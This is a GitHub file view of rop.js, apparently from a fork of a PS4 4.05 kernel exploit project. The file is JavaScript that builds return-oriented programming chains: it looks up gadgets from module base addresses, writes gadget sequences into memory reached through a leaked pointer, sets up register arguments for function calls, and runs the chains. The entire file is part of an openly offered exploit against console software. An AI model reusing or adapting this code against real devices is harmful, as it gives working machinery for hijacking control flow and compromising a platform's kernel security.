forked from Cryptogenic/PS4-4.05-Kernel-Exploit
-
Notifications
You must be signed in to change notification settings - Fork 6
/
rop.js
312 lines (261 loc) · 6.82 KB
/
rop.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
/* Leave these values untouched, they will be set properly post-exploitation */
var moduleBaseAddresses =
{
'libkernel': 0,
'libSceWebKit2': 0,
'libSceLibcInternal': 0
};
/* Simply adds given offset to given module's base address */
function getGadget(moduleName, offset)
{
return moduleBaseAddresses[moduleName].add32(offset);
}
var memory = function(p, address)
{
this.basePtr = address
this.dataPtr = 0;
/* Return a pointer in mmap'd memory */
this.allocate = function(size)
{
/* Prevent buffer overflow / pagefault */
if(this.dataPtr > 0x10000 || this.dataPtr + size > 0x10000)
{
return -1;
}
var memAddr = this.basePtr.add32(this.dataPtr);
this.dataPtr += size;
return memAddr;
};
/* Clears all data by zeroing out this.data and resetting count */
this.clear = function()
{
for(var i = 0; i < 0x10000; i += 8)
{
p.write8(this.basePtr.add32(i), 0);
}
};
/* Zero out our data buffer before returning a storage object */
this.clear();
return this;
};
/* Called to start a kernel ROP chain */
var krop = function(p, addr) {
this.chainPtr = addr;
this.count = 0;
this.push = function(val)
{
p.write8(this.chainPtr.add32(this.count * 8), val);
this.count++;
};
this.write64 = function (addr, val)
{
this.push(window.gadgets["pop rdi"]);
this.push(addr);
this.push(window.gadgets["pop rax"]);
this.push(val);
this.push(window.gadgets["mov qword ptr [rdi], rax"]);
}
return this;
};
/* Called to start a new ROP chain */
var saferop = function(p, addr) {
this.ropChain = undefined;
this.ropChainPtr = undefined;
this.ropChainEndPtr = undefined;
if(addr == undefined)
{
this.ropChain = new Uint32Array(0x4000);
this.ropChainPtr = p.read8(p.leakval(this.ropChain).add32(0x28));
this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
}
else
{
this.ropChainPtr = addr;
this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
}
this.count = 0;
/* Clears the chain */
this.clear = function()
{
this.count = 0;
this.runtime = undefined;
for(var i = 0; i < 0x4000 - 0x8; i += 8)
{
p.write8(this.ropChainPtr.add32(i), 0);
}
};
/* Gets the current chain index and increments it */
this.getChainIndex = function()
{
this.count++;
return this.count-1;
}
/* Pushes a gadget or value on the stack */
this.push = function(val)
{
p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
}
/* Writes a 64-bit value to given location */
this.push64 = function(where, what)
{
this.push(window.gadgets["pop rdi"]);
this.push(where);
this.push(window.gadgets["pop rsi"]);
this.push(what);
this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
}
/* Sets up a function call into a module by address */
this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
if(rdi != undefined)
{
this.push(window.gadgets["pop rdi"]);
this.push(rdi);
}
if(rsi != undefined)
{
this.push(window.gadgets["pop rsi"]);
this.push(rsi);
}
if(rdx != undefined)
{
this.push(window.gadgets["pop rdx"]);
this.push(rdx);
}
if(rcx != undefined)
{
this.push(window.gadgets["pop rcx"]);
this.push(rcx);
}
if(r8 != undefined)
{
this.push(window.gadgets["pop r8"]);
this.push(r8);
}
if(r9 != undefined)
{
this.push(window.gadgets["pop r9"]);
this.push(r9);
}
this.push(rip);
return this;
}
/* Sets up a return value location*/
this.saveReturnValue = function(where)
{
this.push(window.gadgets["pop rdi"]);
this.push(where);
this.push(window.gadgets["mov qword ptr [rdi], rax"]);
}
/* Loads the ROP chain and initializes it */
this.run = function()
{
var retv = p.loadchain(this);
this.clear();
return retv;
}
return this;
};
/* Called to start a new ROP chain */
var rop = function(p, addr) {
this.ropChainSize = 0x4000;
this.ropChain = undefined;
this.ropChainBasePtr = undefined;
this.ropChainPtr = undefined;
this.ropChainEndPtr = undefined;
if(addr == undefined)
{
this.ropChain = new Uint32Array((this.ropChainSize/4)*2);
this.ropChainBasePtr = p.read8(p.leakval(this.ropChain).add32(0x28)).add32(this.ropChainSize);
this.ropChainPtr = this.ropChainBasePtr.add32(8);
this.ropChainEndPtr = this.ropChainBasePtr.add32(this.ropChainSize);
}
else
{
this.ropChainBasePtr = addr.add32(0);
this.ropChainPtr = addr.add32(8);
this.ropChainEndPtr = addr.add32(this.ropChainSize);
}
this.count = 0;
/* Clears the chain */
this.clear = function()
{
this.count = 0;
this.runtime = undefined;
for(var i = 0; i < this.ropChainSize-8; i += 8)
{
p.write8(this.ropChainBasePtr.add32(i), 0);
}
};
/* Gets the current chain index and increments it */
this.getChainIndex = function()
{
this.count++;
return this.count-1;
}
/* Pushes a gadget or value on the stack */
this.push = function(val)
{
p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
}
/* Writes a 64-bit value to given location */
this.push64 = function(where, what)
{
this.push(window.gadgets["pop rdi"]);
this.push(where);
this.push(window.gadgets["pop rsi"]);
this.push(what);
this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
}
/* Sets up a function call into a module by address */
this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
if(rdi != undefined)
{
this.push(window.gadgets["pop rdi"]);
this.push(rdi);
}
if(rsi != undefined)
{
this.push(window.gadgets["pop rsi"]);
this.push(rsi);
}
if(rdx != undefined)
{
this.push(window.gadgets["pop rdx"]);
this.push(rdx);
}
if(rcx != undefined)
{
this.push(window.gadgets["pop rcx"]);
this.push(rcx);
}
if(r8 != undefined)
{
this.push(window.gadgets["pop r8"]);
this.push(r8);
}
if(r9 != undefined)
{
this.push(window.gadgets["pop r9"]);
this.push(r9);
}
this.push(rip);
return this;
}
/* Sets up a return value location*/
this.saveReturnValue = function(where)
{
this.push(window.gadgets["pop rdi"]);
this.push(where);
this.push(window.gadgets["mov qword ptr [rdi], rax"]);
}
/* Loads the ROP chain and initializes it */
this.run = function()
{
var retv = p.loadchain(this);
this.clear();
return retv;
}
return this;
};